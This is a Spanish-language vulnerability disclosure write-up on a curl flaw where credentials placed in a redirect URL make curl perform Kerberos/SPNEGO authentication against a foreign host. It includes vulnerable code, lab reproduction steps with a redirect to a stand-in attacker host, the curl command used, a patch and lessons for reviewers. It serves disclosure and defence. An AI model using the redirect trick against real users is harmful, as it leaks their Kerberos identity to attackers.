Resumen
curl promete, en la documentación de CURLOPT_UNRESTRICTED_AUTH, que si esa opción no está activada no manda cabeceras Authorization: ni Cookie: (ni propias ni generadas internamente) a un host distinto del de la URL inicial. El investigador demostró que esa garantía no se cumplía con la autenticación Negotiate (SPNEGO/Kerberos).
La clave está en la condición que decide si se generan las cabeceras de autenticación, en lib/http.c:
/* Either we have credentials for the origin we talk to or
performing authentication is allowed here */
if(data->state.creds || Curl_auth_allowed_to_host(data))
result = output_auth_headers(data, conn, authhost, request,
path_and_query, FALSE);
else
authhost->done = TRUE;
Basta con que se cumpla una de las dos partes. La comprobación de origen (Curl_auth_allowed_to_host) solo importa si no hay credenciales, y las credenciales se pueden obtener de la propia URL de destino, que elige quien redirige.
El encadenamiento es este:
- Las credenciales que configura la aplicación (usuario, contraseña, bearer…) sí se comprueban contra el origen en
lib/url.cy se descartan al cambiar de host. - En cambio, las que vienen como userinfo en la URL (
usuario:clave@host) se leen concurl_url_get(uh, CURLUPART_USER, &user, 0)sin ninguna comprobación de origen, y rellenandata->state.credspara el host nuevo. - Con
state.credsno nulo, la condición anterior deja pasar y se ejecutaoutput_auth_headers()para el host ajeno. - Dentro de esa función, la rama de HTTPSIG sí vuelve a comprobar
Curl_auth_allowed_to_host(data), pero la de Negotiate, justo debajo, solo mira que la aplicación no haya puesto su propia cabeceraAuthorization. - Negotiate no usa usuario ni contraseña: en
lib/vauth/spnego_gssapi.clas credenciales se descartan ((void)creds;) y se tira de la caché de credenciales Kerberos de la sesión del usuario. - El nombre de servicio (SPN) se construye con el host actual (
data->state.origin->hostnameenlib/http_negotiate.c), es decir, el del atacante.
El resultado es curioso: unas credenciales que nunca se usan ni se envían sirven solo para "abrir la puerta" a una autenticación que no las necesita. Su único papel es que el puntero no sea nulo.
También llama la atención que una cabecera Authorization personalizada ya se bloqueaba correctamente entre hosts; solo la generada internamente por Negotiate se colaba.
El fallo se verificó sobre curl d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV, GSS-API + SPNEGO, MIT krb5 1.22.2) y sobre 8.22.1-DEV. Se le asignó el CVE-2026-94265.
Pasos de reproducción
El investigador montó un entorno completo con un KDC real de MIT Kerberos. El proceso:
- Compilar curl con soporte GSS-API (
-DCURL_USE_GSSAPI=ON) y comprobar quecurl -Vmuestra SPNEGO. - Crear un reino Kerberos de pruebas
POC.TESTcon un KDC en local, un usuariovictimy dos principales de servicio:HTTP/legit.poc.testyHTTP/attacker.poc.test. - Hacer
kinitcomovictim, de forma que tenga un ticket en su caché sin haber tratado nunca con el host del atacante. - Levantar un servidor "legítimo" (
legit.poc.test, puerto 19218 por defecto) que responde a todo con un301hacia el host del atacante. En la variante de ataque, la cabeceraLocationlleva usuario y contraseña arbitrarios; en la de control, no:
exploit: LOC="http://bob:[email protected]:$BPORT/step2"
control: LOC="http://attacker.poc.test:$BPORT/step2"
- Levantar el servidor del "atacante" (
attacker.poc.test, puerto 19219 por defecto), que guarda el valor de cualquier cabeceraAuthorization: Negotiateque reciba. - Ejecutar curl una sola vez, con el mismo comando en las dos variantes: Negotiate y siguiendo redirecciones, sin
--location-trusted:
timeout 20 "$CURL_BIN" -sS --negotiate --location \
--resolve "legit.poc.test:$APORT:127.0.0.1" \
--resolve "attacker.poc.test:$BPORT:127.0.0.1" \
"http://legit.poc.test:$APORT/start" -o /dev/null 2>"$WORK/curl.err" || true
- Comprobar qué ha recibido el servidor del atacante. Todo el proceso se lanza con el script
reproduce.shdel investigador:
VF_CURL=<curl-with-spnego> sh reproduce.sh exploit
VF_CURL=<curl-with-spnego> sh reproduce.sh control
Resultado:
exploit: attacker origin received Authorization: Negotiate (1060 b64 chars)
AP-REQ principal fields: ['POC.TEST', 'HTTP', 'attacker.poc.test']
control: attacker origin received NO Authorization header
El token es un envoltorio SPNEGO (OID 1.3.6.1.5.5.2) sobre un AP-REQ de Kerberos (OID 1.2.840.113554.1.2.2) cuyo ticket es para HTTP/attacker.poc.test. legit.poc.test no aparece por ningún lado, así que no es una reutilización del ticket del primer host, sino uno nuevo emitido por el KDC. klist lo confirma: la víctima tiene en su caché un ticket para HTTP/[email protected], un host al que nunca pidió conectarse.
La única diferencia entre las dos pruebas es el userinfo de la redirección, lo que demuestra que esa es la causa.
Impacto
Este no es el típico "se reenvía la cabecera al redirigir". curl realiza un handshake de autenticación completo y nuevo contra el servicio del atacante en nombre de la víctima, así que la exposición no se limita a lo que ya se hubiera enviado.
Escenario: un usuario usa curl --negotiate -L contra un servicio interno con inicio de sesión único Kerberos. Si ese servicio (o una web con una redirección abierta) lo redirige a un host del atacante con usuario y contraseña inventados en la URL, el atacante:
- Recibe un AP-REQ válido para un SPN cuya clave controla, así que puede descifrarlo y conocer la identidad autenticada de la víctima.
- Según el investigador, con
CURLOPT_GSSAPI_DELEGATIONel ticket sería reenviable, y en Windows con SSPI un SPN desconocido recurre a NTLM, lo que daría un intercambio NTLM susceptible de relay. Estos dos escenarios no se demostraron y no se tuvieron en cuenta en la valoración.
HackerOne muestra la severidad del reporte como "none".
Remediación
El investigador propuso un parche que añade la comprobación de origen en la rama de Negotiate y también en la de NTLM, y verificó que corrige el fallo sin romper el uso normal de Negotiate ni --location-trusted:
diff --git a/lib/http.c b/lib/http.c
index 3ed023753d..4b31cc2376 100644
--- a/lib/http.c
+++ b/lib/http.c
@@ -691,7 +691,8 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
(proxy && !Curl_checkProxyheaders(data, conn,
STRCONST("Proxy-authorization"))) ||
#endif
- (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
+ (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")) &&
+ Curl_auth_allowed_to_host(data))) {
auth = "Negotiate";
result = Curl_output_negotiate(data, conn, proxy);
if(result)
@@ -704,10 +705,14 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
#endif
#ifdef USE_NTLM
if(authstatus->picked == CURLAUTH_NTLM) {
- auth = "NTLM";
- result = Curl_output_ntlm(data, proxy);
- if(result)
- return result;
+ if(proxy || Curl_auth_allowed_to_host(data)) {
+ auth = "NTLM";
+ result = Curl_output_ntlm(data, proxy);
+ if(result)
+ return result;
+ }
+ else
+ authstatus->done = TRUE;
}
else
#endif
El reporte se envió el 18 de septiembre de 2026, figura como resuelto y se divulgó el 14 de octubre de 2026.
Qué aprender de este caso
- Cuando una condición de seguridad usa
||("hay credenciales o el host está permitido"), pregúntate si la primera parte la puede satisfacer el atacante. Aquí bastaba con meterbob:alice@en la URL de la redirección. - Revisa por separado cada origen del que una librería saca credenciales: las configuradas por la aplicación se comprobaban contra el host, pero las del userinfo de la URL no. Un
Locationcon usuario y contraseña es una prueba barata en cualquier cliente HTTP que siga redirecciones. - Los mecanismos que autentican con la identidad ambiental (Kerberos/SPNEGO, NTLM) no necesitan usuario ni contraseña, así que no pueden depender de "si hay credenciales": deben comprobar siempre el destino, como ya hacía la rama de HTTPSIG.
- Si en un mismo bloque de mecanismos de autenticación uno tiene una comprobación de origen y el de al lado no, es una buena pista de por dónde buscar.